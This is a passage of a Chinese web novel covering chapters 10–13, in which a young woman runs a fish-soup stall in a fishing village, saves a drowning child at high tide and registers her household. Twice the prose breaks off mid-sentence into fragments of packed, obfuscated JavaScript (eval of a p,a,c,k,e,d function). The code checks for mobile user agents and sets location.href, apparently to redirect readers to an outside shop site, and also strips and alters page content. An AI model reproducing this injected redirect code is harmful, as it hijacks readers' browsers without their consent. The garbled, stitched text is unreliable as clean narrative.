麻烦是麻烦了些，可挺有用，小梅便和江盈知捣鼓鱼肠，留强子一个人在那里往水桶里挤鱼丸。 鱼肠并不像专门的机器那样，挤出来很好看,总有些缺处，不过等用麻绳分出一段段，扎了小眼后，瞧着顺眼多了。 鱼肠下锅煮，江盈知放姜片的工夫，小梅和强子对视一眼，两人都很难对肠衣下得了口。 刚煮好时顺子蹦蹦跳跳跑上来，又一头钻到灶台边，他扒着灶边问，“小满姐，你煮的是啥啊？” “能给我尝口不，”顺子又埋怨他哥，“下次干活叫我声啊。” 江盈知笑着说：“鱼肠你吃不吃？” 她捞出来一段圆鼓鼓的鱼肠，颜色偏米白，没什么香气，肉都被严严实实包裹在肠衣里头。 顺子忙说：“我吃！” 背后投来两道略带点同情的目光。 江盈知便用筷子穿过给他，顺子嘴甜，说了一大堆好话，随即咬了一口。 小梅当即站起来，伸长脖子瞅他，强子瞪大了眼，顺子被两人看得毛毛的，下意识嚼了嚼，牙齿咬破肠衣，吃到弹滑的鱼肉时。 他喊，“哎呀娘呀，这玩意真鲜灵啊。” 小梅说：“没尝出别的味来？” “咋个鲜？”强子不相信。 顺子满嘴包着鱼肠，汁水充盈，他使劲嚼着，“比生吃蟹还鲜。” 小梅便说：“阿姐，给我来条，我跟强子哥分着吃。” 待尝到了嘴里，两个原本满腹嫌弃的，只想舔着脸再吃一条。 “怎么卖去？”强子问，“跟鱼丸一样点数？” 江盈知摇摇头，她准备熬个汤头，放些小蟹、虾米、鱼肉，再煮鱼肠和鱼丸，卖一碗鱼汤，到时候鱼丸切半，鱼肠切片，瞧着多些。 小梅灵魂发问，“阿姐，你有碗没？” “我预备叫他们用手抓着吃，”江盈知开玩笑。 强子说：“没碗筷也不是难事，去碗行街那里租些来便是。” 租碗在碗行街算不得什么稀奇事，一百文便能租下五十套碗筷，粗瓷竹筷，供二十日使用。 要立字据，写明地址，由伙计送到家中去。 有了碗筷，简单的小摊便支了起来。 四根竹子撑起来一块破布，两张桌子是陈大发从船板上拆下来的，锯成两半，椅子是她拿小板子钉在木墩上做的。 锅是裂了口的大汤锅，洗干净能用，炉子也很古旧。 江盈知却很满意，一步步慢慢来嘛。 这个小摊刚支好，很快有人过来坐下，喊了句，“怪香的，给我来碗汤。” 10. 鱼汤和紫菜 来客是个中年男人，不高，扛了两麻袋东西小心放桌腿边，过来便一屁股坐下，从箸筒里抽出一双筷子。 他抱怨，“我从铜钱礁那转坐航船，船上伙夫都跑了，饿一天了。” “不管汤水还是旁的，给满上。” 小梅跑过去问他，“阿叔，要不要蛏干和蛤蜊干？葱吃不吃？” 中年男人听了摆摆手，“全都上点。” 江盈知便捞出三个丸子，在案板上切成四瓣，又捞出一条鱼肉肠，斜切成片，一道码放在碗底。 浇上鲜汤，汤里有蛏干、蛤蜊干，小螃蟹、虾米、鱼肉，浮着薄薄一层油花，又被洒入的葱花打散。 瞧着煞是诱人，至少中年男人瞧着这样一碗汤，汤底白得跟他吃过的牛乳一般。 小梅递给他一把勺子，他挥手，“我就好沾着碗沿喝汤。” 他顺着碗边喝了一口汤，紧皱的眼眉毛都舒展了，只肚肠更加叫唤。他连忙抓起筷子，夹起一只蛏干，日头晒得发黄，浅酱油色。 中年男人犹豫着放到嘴边，沙子没尝出，也不嫩滑，是别样的口感，韧结结的，越嚼那香头越重。 他忍不住喊，“多加两个钱，给我上点蛏干。” 实在好吃得紧。 江盈知将手在腰巾上擦了擦，笑道：“阿叔你先吃点旁的先，要后头还想吃，再给你加。” 中年男人闻言又吃起了蛤蜊干，小小的，很软很滑，小螃蟹嚼出了一嘴的鲜汤。鱼肉爽滑，半点刺也无，这些汤头小料吃得他眼睛都不想睁了。 待吃到鱼丸，弹的他又嚯的一下睁开眼，跟活鱼在嘴里跳一样，而鱼肉肠却像是鱼白那样嫩，带着些许嚼劲。 “再给上满一碗，”他喊，“快些，快些。” 如此吃了三碗，实在吃不动，他揉着肚子，打了个饱嗝，面色也不再同之前那样满是怨色。 反而喜笑颜开，“要不是那航船，我还到不了这，吃不上这样鲜的汤。” “这些东西最常见不过，还能叫你们拾掇得这样好。” 江盈知大方受用了，又问，“阿叔，蛏干要不要带点走？五文一包，不管下面还是炖汤放一点，滋味都要好上不少。” 她拿出几只来，递过去，“干嚼也好吃的，尝尝。” 中年男人伸手接过，熟蛏干晒过之后，肉仍显得很多，比在汤里煮的要更有嚼劲，带了点咸味，吃起来很鲜甜。 “给我来两包，不，三包，”他站到了长案板前，“我们这小贩卖点东西，南北两头坐船跑，一上了船，要是没点嚼货，半道就晕那了。” 小梅放了一张油纸，江盈知抄起小碗从袋子里舀，虽然碗小，可她盛得满，露出个尖，叫人也心里满意。 她用油纸包好，抬起头问了一嘴，“卖的什么？” “冬菜，你晓得不？” 中年男人谈起这个来，眉飞色舞，不愧对于他菜佬的名头。菜佬从他的麻袋里拿出个圆柱形，用油纸缠绕得严严实实的东西。 菜佬扯开给她看，暗紫色一张，江盈知一瞧，噢了声，原来冬菜是紫菜啊。 “我这可是立冬打的，这叫冬菜，还有立春后打的春菜，这个价要贵些，”他赶紧翻另一袋，边翻边说：“还有这种打菜，是碎渣，我们用竹篾丝扫尾的，脏是脏了点，但价贱得很。” “尤其你们这，放汤里多好啊。” 江盈知伸手拿过那卷起来的紫菜，紫菜种类很多，北方多条斑紫菜，而南边沿海基本以坛紫菜为主。 她以前买紫菜，要看一级品还是二级品，她手上拿的算二级品，晒的没那么细致，厚薄不均匀，而且混了绿藻。 不过口感应当算得上一级，无污染，纯天然，吃起来应当咸香细嫩。 紫菜好处又多，她同小梅商量后，当即用半袋蛏干换了半袋紫菜，紫菜轻又薄，价格比蛏干要贵十文钱。 不过蛏干重，又合菜佬的心意，两个人换得彼此都满意。 他走前又看了那锅汤，咽了咽口水，塞了两只蛏干进嘴嚼着，才扛上紫菜大步赶往海边候船。 没过多久，渔港前头便传来穿透力十足的锣声。前几天江盈知还不解，这会儿她一听锣声便知道是开航锣，大伙又叫它为金口锣，金口一开，难以更改。 这时的海浦镇又没有汽笛，开船招呼客人上船只能依靠海螺声。海螺不够响，有的航船就敲鼓，以鼓来示意乘船的客人。 听着锣声的便赶忙往前头去，有的人身上缠满包袱，一手拉着孩子，嘴里念道：“跑快些，跑快些，上不了船了。” 江盈知每次都看得津津有味，虽然来到这里失去了现代化的娱乐，但她总能给自己找点乐子。 偶尔还会跑出去，给胸前背着孩子，身后又缠一个孩子的女人搭把手，提了满满一袋东西上到航船。 今天倒是没有这样的人，旁边出摊的大娘也没来，午后的日头晒得人暖洋洋的，海风一阵一阵地吹。 小梅打了个哈欠，她趴在小桌板上眯了会儿，江盈知则挑拣起紫菜，在盆里洗了手，把它一点点掰碎放到碗里，用另一个碗扣住。 她弄完放到案板上时，擦了擦沾的碎末，对面有人走过来，瞧到地上一对影子，便招呼道：“两位吃不吃鱼汤？” 抬头一瞧，还是个熟人，河泊所的小吏，江盈知同他混了个脸熟，知道他叫陈三明。 寻常他都一个人来的，今儿倒是带了个姑娘，一个黑里俏，圆眼睛的姑娘。 海浦镇男女大防并不如岸上那般重，至少不裹脚，同外帮商船打交道，连红毛番（洋人）也见过不少，风气要开放得多。 所以江盈知笑笑，“吃点什么，今儿的鱼汤料多，来一碗？” 姑娘瞥了眼那锅汤，一闻，“哎呀，真香，来两碗。” 又看了眼旁边的陈三明，她哎呀一声，“忘算他了，那再要一碗。” 陈三明叹了口气，面上又笑，“难为你还记得我。” 又很大方地同江盈知说：“刚纳完吉，这我没过门的媳妇，叫双鱼。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483430|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江盈知说恭喜，“那再给你们每人添两个鱼丸，圆圆满满嘛。” 鱼丸她没切，只切了鱼肉肠，双鱼馋极了，江盈知用筷子穿过鱼肉肠塞给她，“先吃点垫垫。” “阿姐，你可真好，”双鱼吃着鱼肉肠，双眼发亮，又同她说：“怎么不买些年糕放进去，那料足又饱腹。” 陈三明喊她，“双鱼，生意经放放，来吃东西。” 江盈知觉得是这个理，只不过年糕虽然耐放，可要勤换水，不然容易生臭。 当即笑道：“也不晓得这哪有卖得好的水磨年糕，要是有，再去买些来。” “我啊，找我，”双鱼脸鼓起来，“我家是做年糕的，姐你要想要，我明儿给你送条来。” 江盈知失笑，合着给自家拉生意来的，她说：“成啊，那你拿来，我请你吃鱼豆腐。” “鱼还能做成豆腐？”双鱼一脸你别唬人。 “吃着跟豆腐一样嫩，陈书吏，你们要不要点冬菜，我刚收来的，”江盈知利落地切完了料，高声问道。 不等陈三明说，双鱼便开口，“吃啊，谁不吃谁犯傻。” 两碗料足，加了紫菜又多了别样的鲜味，吃的双鱼说：“姐可以借几口碗带回去不？想给家里长辈尝尝。” “成啊，”江盈知答应，“但不能磕碰了，我们上碗行街那租来的。” “她没那么毛躁，”陈三明说，“要是丢了坏了，找我这领也成。” 挨了双鱼一记瞪，两人才端着满满两碗鱼汤离开。 小梅看着两人离去的身影若有所思，倒不是羡慕，而是想起来她大伯娘说过，她十四岁不小了，也该相看起人家来了。 她在脑子里过了过，抿抿唇没说话，倒是又有人上摊子来，说要买点鱼汤在这吃。 江盈知便招呼起人来，又喊：“小梅，拿个碗来。” “哎——”小梅擦擦手上的水，赶紧拿了个干净的碗递过去。 要喝汤的是个老太太，牙口不好，她指指自己的豁牙，“鱼鲞太硬咬不动，你这个倒软和。” 江盈知还多给了她点紫菜，老太太笑得和蔼。这一碗汤，鱼丸切得小，鱼肉肠又软，没有蛏干、蛤蜊干、小螃蟹，多了不少鱼肉。 老太太吃得舒心，不担心被什么东西咯到牙，同江盈知嘀咕，“对面那家卖糕的，还掺了沙，吃得我牙痛。” “还是你这好，”她慢悠悠拿出碗，“我给我家老头带点。” 这汤吃得人哪哪都舒坦，舌头舒坦，心里也舒坦。 一直到收了摊，一桶鱼汤卖得精光，江盈知数着钱，脸上渐渐有了笑，离能修船又近了点。 小梅撕了片紫菜在嘴里含着，还塞了一片给江盈知，她牙齿沾了一点菜，浑然不觉地说：“有咸味。” 江盈知指指，她便舔着，又笑起来。 陈大发招呼两人上船，满脸笑，“早些回去，涨水了，滩涂上全是跳跳鱼，快捉些来。” “烤干了给你摊子也能添点料。” 11. 海滩惊险【上】 跳跳鱼也叫弹涂鱼，农历三月中到九月都有，尤其是梅雨季节来前，或是潮水起落时最多，西塘关的人管这些时候叫做涨弹涂。 今天已经快到十五的大潮汛，所以浪不再像之前那样平缓，偶尔猛地高高掀起浪花，拍在礁石上。 江盈知几人到西塘关时，浪潮已经褪去了，滩涂上有不少人腰间挂着鱼篓，手里拿个短竹筒，小孩赤着脚在滩涂上跑。 滩涂有很多积水，那些积水里，同淤泥一个色，长着蓝点背鳍的跳跳鱼匍匐在里头，那背鳍犹如干枯的枫树叶子。 它们咕噜噜喝着水，偶尔钻进自己打的泥洞里，而招潮蟹挥舞着红色的大钳子，绕过一个个洞口。 江盈知才下船，脚刚沾到地，旁边一群跳跳鱼蹦起来。大蓝眼睛，蹦的时候跟青蛙的两条腿一样，可惜它们没有腿。 海娃从人群里冲出来，所过之处跳跳鱼乱飞，他也不管。举起鱼篓给小梅瞧，“姐，阿姐，我捉的。” 大鱼篓里装两条小鱼，真出息。 小梅嫌弃，“烧了给你吃都不够塞牙缝。” “我塞得下，”海娃张大嘴。 江盈知看两人斗嘴，没拿船上的东西，先卷起裤脚，她手痒想抓。不过跳跳鱼动作敏捷，手快都抓不着，只能摸到一手泥。 所以海岛人家就在涨潮前把短竹筒塞进泥洞里，造一个跳跳鱼的窝，等它跳进去就拿起倒进鱼篓里。 王三娘手里垒着好几个竹筒，裸着腿，招呼她们过来，“到这来抓。” 旁边的大婶也说：“来，分你们一块地。” “两个小娘厉害得很，都能摆摊出生意了，来来来，上我们这儿。我们几个“老娘”生意经是不行的啦，抓这个跳跳鱼，还是有点本事在身上的，”说话的这个女人叫陈海珠，年纪不大辈分却大，梳着光溜的发髻，瘦尖长脸，说话很爽利。 陈海珠撸起袖子，笼裤的两条裤腿扎到大腿根处，露出黑瘦的腿，踩在一艘小船上，其实就是块半包着的滑板。 江盈知认得，以后也在用，叫弹涂船，在泥地上蹬着走速度飞快。 “来，给你们见识见识，咋钓跳跳鱼，”陈海珠左腿跪在小船板上，右脚一蹬，那船飞速冲了出去。 她一甩手上的竹竿，上头悬钓的线立马勾住一米开外的跳跳鱼，一收一放那鱼便已经装进篓子里。 江盈知不得不承认，这是真厉害，她以前也试着玩过，结果撞上了个大石头，翻了船。 王三娘看了眼，将竹筒里的鱼往篓子里放，嘴上道：“我们可都没她这样好的本事，慢慢抓点算了。” 这鱼在西塘关渔民看来很补，用黄酒炖着吃，浑身有劲，能治耳朵听不见，也用来做小囡的开荤菜。 所以几乎一大半人都在捉，跳跳鱼满地乱爬乱飞，抓到一条小孩就哇哇叫。 江盈知蹲着用竹筒抓鱼，旁边有小船反复划过，她手气差，鱼老是跳偏，一抓湿滑黏腻，从手上飞了出去。 气得她哼了声。 旁边小梅笑她，“今晚能吃到鱼肉不？” “塞个牙缝能做到，”江盈知抓起一旁的小螃蟹，塞进篓子里，正好能用来熬个汤头。 蛏子捡点，蛤蜊也挖点，跳跳鱼随缘抓点，她是没辙了，全靠小梅和王三娘。 陈海珠钓了一篓子的跳跳鱼，踩着她的小船过来，喊了声，“小满，抓了多少？” 待瞧见江盈知刚铺了层底的篓子，她哈哈大笑，“分你点，多补补。” 她凑近来说：“下回你那鱼丸，记得端碗给我啊，上你姑家吃到，馋死那味了。” “成啊，明儿早上就给送去，”江盈知也笑道，接过她分来的半篓鱼。 这会儿滩涂上热热闹闹的，吵嚷声不停，有人还跑闹，踩了江盈知一脚，不住道歉又笑着跑开。 这时她站起来，看了眼蓝天大海，海风吹拂她的头发。远处有海鸥扑腾着翅膀，盐仓前的盐户又划着小船到海港去了。 天渐渐染上橙黄霞光，海水慢慢地涌上来，浪头卷得很高，要涨潮了，大伙赶紧拿着东西三五成群回去。 一声尖利的叫声撕破了宁静，有个女人疯跑出来，鱼掉了一地，她猛地滑倒，趴着往前，喊破了嗓子，“小龙，小龙——” 海水已经开始飞溅，浪潮渐渐加大，一下子吞没了之前大家待的地方，而在那浪涌处有个孩子在起起伏伏。 江盈知变了脸色，蓝色的衣服在海水中很不起眼，要不是她眼力好，估计真瞧不见。 这会儿原本要走的大家也全都慌了，叫嚷着，有人跑去拿竹竿子去，一瞬间涨起的潮水太凶猛，压根没法，有汉子已经去划船，被匆忙拉住。 浪头太高，水灌到渔船里就得沉。 “咋个办呦，这可是海花的独苗，”王三娘焦急地来回踱步。 “咋就没回来呢，”有人已经念起了佛经，口中不住阿弥陀佛保佑。 一阵混乱，人群已经退至很远，站在一起，形成了新的海岸线。哪怕壮汉也不敢越过潮水一步，而那孩子的身影已经渐渐看不清楚。 身旁是海花婶激烈地挣扎和呐喊，“小龙，小龙——” 江盈知冷静分析着地形，那块滩涂近礁石，要是能在潮水起势小时，猛地扎进去，借着浪潮登上礁石就能脱身。 她没有万全的把握，但是她为了采藤壶，曾经落海过两次。 藤壶生的地方就是在高高的礁石壁上，那个时候潮水涨得很猛，她来不及退，被卷入到海里，靠着牢牢扒在礁石缝上，才被人救回来。 救回来后她没有怕，为了钱不要命，但第二年因为礁石松动，又落海了，在海中一小时被救援船救回来，全靠她的身体素质好。 有了这两次落海经验，她就去游泳馆里打工，顺便上游泳课，以及锻炼她的全身力量，每次都力竭才停止，所以海浪汹涌她也能撑一段时间。 江盈知只不过在脑子里过了会儿，她跑过去问陈大发，靠海为生的人都知道潮落潮头的时候。 陈大发焦急，他说：“就这会儿了，这会儿潮落没救上来，别指望了。” 江盈知也看见潮水渐渐在退回海里，滩涂渐渐露出来，就是这个时候，她在众人来不及反应的时候猛冲出去。 “阿——”有人大叫。 小梅喊，“小满姐，快回来，快回来啊——” 但是江盈知很灵活，一个侧身便闪进了浪花里，浮出水面，伸手去捞小孩的身体，第一把没捞着，然后下一波潮头拍打过来。 虽然并不凶猛，却带来强烈的耳鸣，水猛地浇在头上，她忍着不适，借着潮水往前的力量，把身体下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483431|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉游过去，用尽力气往前蹿，一把勾住小孩的腰。 然后借着浪推的力量往前蹬，使劲蹬出海浪的地盘，不知过了多久，才重新回到滩涂上。 没等爬起上礁石，王三娘和强子跑过来死命地拽着她的手往后拖，避开了下一波更大的潮水，到了安全的地方，众人忙呼喊。 那个孩子已经紧闭着眼，双唇发白，被人倒背吐水，一路送到药婆那去了。 而江盈知抬头，面前是王三娘和强子，她松了口气，慢慢坐起身来，耳朵鼓鼓在响，天旋地转。 小梅满脸淌着泪，赶紧冲过来，手止不住地抖，像生了冷热病（疟疾）那样打摆子。 她不是病的，她是怕的，是慌的，这两样让她抖得控制不住。 而王三娘则举起手，想要狠狠地扇她，最后巴掌又轻轻落在江盈知身上。她那样怒骂，表情狰狞，丑极了，“你个死丫头，你不要命了，你是不是不要命了！” 江盈知真不莽撞，她至少有九成的把握，可看见王三娘和小梅的脸，又说不出来的心虚。 她早已习惯一个人，毕竟自打外婆过世，她的身后没有任何人，即使这次出了意外，那她也就能和海里的外公外婆团聚了。 只是看着每一张关切的脸孔，写满了焦急和惊吓，她又觉得自己罪大恶极。 明明她才刚救了一个人上来。 王三娘脱了外衣给她，死死裹紧，胸膛不住地起伏，“你—，你——” 她骂不出来，陈海珠过来忙说：“快带着人烧点水冲冲寒气，别给冻着。” 小梅忙点头，手还在发抖，说话时两瓣嘴唇也抖得不成样子，“我去，我去干什么？” “烧水去，我去烧水，”她给吓懵了。 强子拄着拐，他刚摔了一跤，“走，我和你一起去。” 江盈知其实还有点力气，她准备站起身，王三娘没好气地瞪了她一眼，然后蹲下来，“上来，我背你走。” 陈大发在旁边絮絮叨叨，“下回可别这样了，你要把你姑给吓死。” 江盈知腿确实有点软，她试探地趴上了王三娘的背，那样宽厚有力，像她小时候趴在外公的肩头那样。 水一直往下滴，往下渗，湿透了王三娘的衣裳。 “我跟你说，”王三娘咬牙切齿的，“什么救人救难，你当你是观世音啊。” “怎么就有你这么热肠子的人，你——” 江盈知说：“阿姑，我晓得错了。” 王三娘就住了嘴，好半天没说话，最后又心软地叹口气，“其实多亏你了，要是小龙没救回来，他姆娘，阿爹全都得想不开。” “你莫要夸她，”陈大发说，“下回她又去了。” 这两个一辈子老实巴交的，魂在今天都被她给吓出来了。 江盈知趴在王三娘身上，笑了笑，有下一次她还是会去。 她换下湿衣服，洗了热水澡，裹着棉被，王三娘给她煮了一碗磨刀水，岛上的偏方，说是能治耳痛。 迷迷糊糊快睡过去时，江盈知还听见王三娘说：“找人问问，有没有银鲳捞上来，换一条。” “银鲳炖米酒，什么虚都能补得回来。” 她翘着嘴角睡过去，没听见王三娘骂她，“把这跳鱼儿拾掇了，再给补补她那脑瓜子，一点不灵光。” 12.海滩惊险【下】 当新一天的清晨到来，竹屋外的小锅里正炖着弹涂鱼，黄酒的香气从锅缝里飘出。 江盈知醒来便闻到了这股味，她动了动胳膊，浑身酸痛，海水的冲击力巨大，掀起裤腿有好些处淤青，还好没发热。 小梅听见动静跑进来，她一夜没睡好，眼底有着薄薄一层青黑，她怕了一个晚上。 她小走过来，脚几乎是蹬在竹屋地板上，踩到镂空的竹板咯吱咯吱响。 “阿姐，”她叫着，眉毛纠结地皱起，最后叹口气，端上来一碗鱼肉糙米粥，她手艺有限，煮到鱼肉都化了，全跟粥混成一个色。 江盈知接过，她问，“那个小孩救回来没？” 小梅谈起这个有了点笑，“小龙叫药婆救回来了，只还不清醒，早上送到里镇医馆那去了。” “他家就那一个独苗，家里有个瞎眼老奶，爹又腿脚不好，哎，”她叹口气，又赶忙起身往外跑，“哎呀，我炖的鱼。” 江盈知听见人性命无虞，脸上浮现出笑意，舀了一勺粥喝下，渐渐笑意凝固。 这是把卖盐的打死了，再把鱼生剖了做的吧，苦咸苦咸的，还腥。 她下了床，走路一瘸一拐，昨儿被在滩涂上拖的时候撞到了腿。 海娃跑来搀扶她，老气横秋地说：“要慢慢走。” “你快些走，”江盈知怕踩到了他，磨蹭着到了门外，那股酒香气更浓，从缺了个大洞的锅盖缓缓飘出来。 她伸手掀起锅盖，黄酒咕嘟嘟起泡，漫过了弹涂鱼，色泽并不好看，跟泥鳅一个色，可肉实在好吃，细嫩鲜美。 江盈知以前最喜欢做椒盐弹涂鱼，或者是干煎，吃到嘴里嘎吱响，咬开酥脆的皮，里头是嫩的鱼肉，那滋味没愧对它跳跳鱼的名头。 “小梅你炖的？”江盈知坐在凳子上，缺了个脚有些摇晃，她垫了块石片。 “伯娘炖的，”小梅给她泡了碗红糖水，浓稠得吓人，“姐你喝，补补血。” 她接过后分做三碗，小梅在旁边焦急地说：“不好分的，补力要被分没的。” “这又是哪的话，你们不喝我也不喝，”江盈知随手递给海娃。 海娃捧着没喝，到小梅喝了一口才喜滋滋地坐到一边去，舔着糖水。 王三娘是提着条海蛇来的，把小梅吓得跑进屋里去，江盈知放下碗问，“阿姑你们昨儿晚上出海了？” “出海了，按你的方子钓了二三十条，这拿来炖给你吃，眼下没有银鲳，拿这充充数也成，”王三娘说，语气没了昨天的怒气，同她亲厚不少。 “脚是不是还不好走，”王三娘处理蛇胆的时候问她，江盈知点点头。 她便若有所思起来，“你下午别出摊了，休息会儿，至于户籍，趁着这事我帮你同里长说道说道。” 江盈知谢过她，这时竹屋外头有了响动，王三娘探头一看，手在腰巾抹了抹，“怎么把瞎眼老太也给带出来了，这是做啥呦？” 只见昨儿被救的小龙家人，他娘他爹还搀扶着个瞎眼老人，他爹背上拴着小龙，提了些东西走过来，身边还跟着陈海珠。 海花婶眼都是红肿的，见了王三娘就号啕大哭，“多亏有你娘家这个侄女。” 小龙爹解下背带，叫还病蔫蔫的小龙下去，“去，去，给你小满姐磕头。” 磕了一个头便被拉起，紧接着夫妻俩也要磕头，忙被王三娘和陈海珠一手一个拉住了。 海花婶还说要让孩子认江盈知做干娘，吓得江盈知连忙摆手，可使不得。 “这不过顺手的事，”江盈知拉小龙起来，摸摸手冰凉，嘴唇发白，神色倒是还好，便说：“拿些带鱼来，同糯米粥一起煮，可以治体虚。” 又问，“瞧着是不是被吓住了？” 旁边的瞎眼老太太说：“可不是，丢了魂灵，刚请过扫帚魂灵呢。” “要不要给你也扫扫？” 陈海珠笑着接过话茬，“一瞧人家体格强健，哪有被吓着，叫什么魂灵。” 她拿过一篮子鱼鲞放在灶边上，“你姑找银鲳，我那没有，鲳鱼鲞倒是有些，拿来给你吃。” 海花婶忙说：“小满，婶子不晓得咋谢你，家里也穷，先拿了些鱼鲞和几个鸡蛋，另有一袋大米。” “不过你放心，等小龙他爹明儿出了海，捕了鱼卖后，我们再来还这份情。” 江盈知推脱不下，好奇道：“捕什么鱼去？” “捕些杂鱼来，再拿虾皮网捞些江白虾来，”小龙他爹话不多，问到他头上才说几句话。 江白虾是海虾，浑身透明，虽然不如对虾大，但胜在鲜，在所有被做成虾米的虾里，它算是上等的。 尤其那个鲜活劲，拿了黄酒来腌，酿成醉虾，人也吃醉了。 江盈知便说：“那捞了卖给我些，我晒虾皮。” 海花婶忙说：“使不得使不得，明儿捞了送些给你来。” 海岛人大多淳朴，有了恩情恨不得立马还上些许，这一家又坐了会儿，才搀扶着瞎眼老娘，背着孩子走了。 王三娘和陈海珠送他们出去。 江盈知把送来的鱼鲞挂在横梁下，下午不出摊，又吃了黄酒炖弹涂鱼，闲着实在没劲。 她和小梅难得有空收拾这屋子，说是收拾，其实除了几间屋子和竹床外，其他都空荡荡。 海娃拖着芦花扫把在屋里来回横扫，小梅把没卖完的蛏干拿出来晒，虾皮也抖抖铺开，叫海风吹一吹，日头晒一晒。 那些打了补丁，浆洗到发白的衣裳，一件件挂在竹竿上。 江盈知不好走路，一走就疼，索性坐下来，拿柴刀把旁边的竹子劈成丝，脚边全是些烂了几个洞的竹匾，鱼篓也不成样子，得修修。 她劈着篾丝同小梅说：“到时候挖些黄土来，我们在这边上围起来种些菜，再抓两只老母鸡和小鸡仔养着。” 海娃冒出头来，“我养它们，抓虾和螃蟹喂。” “你这小嘴真会说，”江盈知捏捏他的脸，随后收回来继续编，“再搬些石头来把门口的路整一整。” 门口堆着一艘破船，还有些杂七杂八的渔网，全是细小的石头，压根不好走。 小梅晒完了最后一串鱼干，闻言撸起袖子，“海娃，捡石头去。” 从前小梅只管温饱能顾得上就好，哪有多余力气去干些旁的，现在能吃得上饱饭，对任何事的兴头都足了很多。 下午两人捡着石头，比对着大小，在 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鱼豆腐蒸的时候有些久，江盈知剥煮到开壳的蛏子，把小龙家煮的鸡蛋也打了两个下去，做蛏子蒸蛋。 另煮了饭，等小梅拿着豆腐回来时，鱼豆腐已经成型，蒸出来颜色偏浅，江盈知切成四方块，坐在炉子前，用薄石盘刷了油去煎它。 鱼豆腐被煎的颜色发黄，她夹了一块，“尝尝。” 小梅呼呼吹了几口气，才吃到嘴里，以为会跟鱼丸那样弹牙，吃到后怔了下，又低头看看自己手里提的豆腐，这鱼煎起来真比豆腐还要嫩。 不止她这样想，随后吃到的王三娘也说：“那还吃什么豆腐，光用这鱼肉做就成。” 强子说：“这可不比磨豆腐省力。” 几人说着，把屋里的矮桌搬出来，坐在外面吃要亮堂一点。 外头的光照在那几盘菜也显得好看，鸡蛋蒸的黄灿灿，蛏子趴在上头，淋了一圈酱油，鱼豆腐煎的跟炸过的油豆腐一个色，一块块方正得很。 跳跳鱼虽黑，同它一道煮的豆腐却白，撒了碧绿的葱花，叫人难以动筷子。 江盈知最后端上来一碗紫菜虾皮汤，疑问，“怎么不吃？” 顺子紧紧攥着筷子，“怕在做梦。” “梦里有这好吃的，”王三娘白他，看江盈知坐下，招呼大家，“吃吧吃吧。” 这才筷子和筷子打在一起，还要争最后一只蛏子，饱满到一口咬下全是汁水的蛏子。 最后被小梅抢到，放到江盈知碗里。 大伙吃了一顿好饭，嘴舌全是鲜味，瘫在那不想动弹。 后面强子和顺子帮小梅一块捡石头，把路铺铺平，陈大发要回去收海蛇皮。 王三娘抹着碗说：“我去问过里长了，黄册十年更定一次，今年正好是整十年，能新上册，里长说叫你同他见一面。” “真要留在这儿？”王三娘把她当小辈，说的也是体己话，“过了铜钱礁，在往北上，明府那地界更好。” 江盈知看了眼不远处的望海，笑笑，“真要留在这里。” 13.干烧江白虾 海边的早晨，海水和天是银蓝色的，海鸥在浅潮里啄食，礁石爬满了海螺，小螃蟹在岸上横着爬行。 渔民推了船只出海，巡洋水师的船哨响得断断续续，又敲打鼓，让盐户赶紧摇着小舢板，将晒好的海盐运到大船边上来。 海面到处是来往的船只，风吹打着桅杆的旗子。 江盈知看了许久，晃神的功夫想起许多往事，又站了会儿才从海滩上离开。到了王三娘家中，旁边几户邻居在熬番薯干饭，这会儿吃的叫“天亮饭”。 她闻到了蟹糊和臭冬瓜的味，还有蒸霉干菜。 有妇人出来放补好的渔网，不知道她叫什么，还是笑着打招呼，“腿好点没啦？小姑娘家家胆量真足。” 江盈知也带了笑同她寒暄，王三娘解下腰巾出来，“不聊了，我们得上里长那去一趟。” 王三娘领着江盈知走过一段路，人认得七七八八，才到了屋子垒得很高的那一间，头发花白的里长正劈着竹子。 他抬眼看了看江盈知，放下手里的柴刀，慢悠悠地道：“上一次把户籍落在这儿的，还是钱六家那媳妇。” 那是个标准的渔家女人长相，日头晒的脸是黑红的，头发黄溜溜，个头也不高。 不像江盈知这种一瞧是外面来的，跟整个西塘关男男女女都格格不入，打过一个照面就能记住的脸。 这几个年头岛上查人查得不算严，换到以往海盗最猖獗的时候，里长是不会答应的。 他拄着拐杖慢慢走进屋里，自顾自地说：“昨儿晚上我请了几个族老，大伙都应了。” 西塘关住的是陈姓一脉，彼此沾亲带故，对外来人并不算接纳，要想落籍除非嫁人一条。 可昨儿见了江盈知救人的事，大伙便松了口风，说闺女心肠好，落个籍也无妨。 里长把表册按在桌上，问江盈知，“会不会写？” 江盈知点点头，王三娘虽然惊讶，却笑说：“这丫头伶俐。” 里长看了她填的名字，江小满，字写得很有气势，也带了点笑，“跟三娘你可半点没有姑侄样。” “到时候落哪家的地头上？” 王三娘说：“落小梅那里，她家只有个海娃，也好照应。” 这年头不好立什么女户，被吃绝户的多。 黄册表册上也没有太多的内容，乡贯、丁口、名、岁。 江盈知随便填的都是虚假的，乡贯填了她外婆老家清田，名字用小名充数，岁数写了十八，半点不心虚。 她也无田宅、资产，但落的渔户，除了必要的鱼虾岁贡缴纳外，还要交涂税。 涂税是朝廷对沿海滩涂征的税，晾晒渔网和海产品都要征渔民的税，这种又叫砂岸租，还可以进行私人买卖。 每年夏汛结束谢洋后统一收缴。 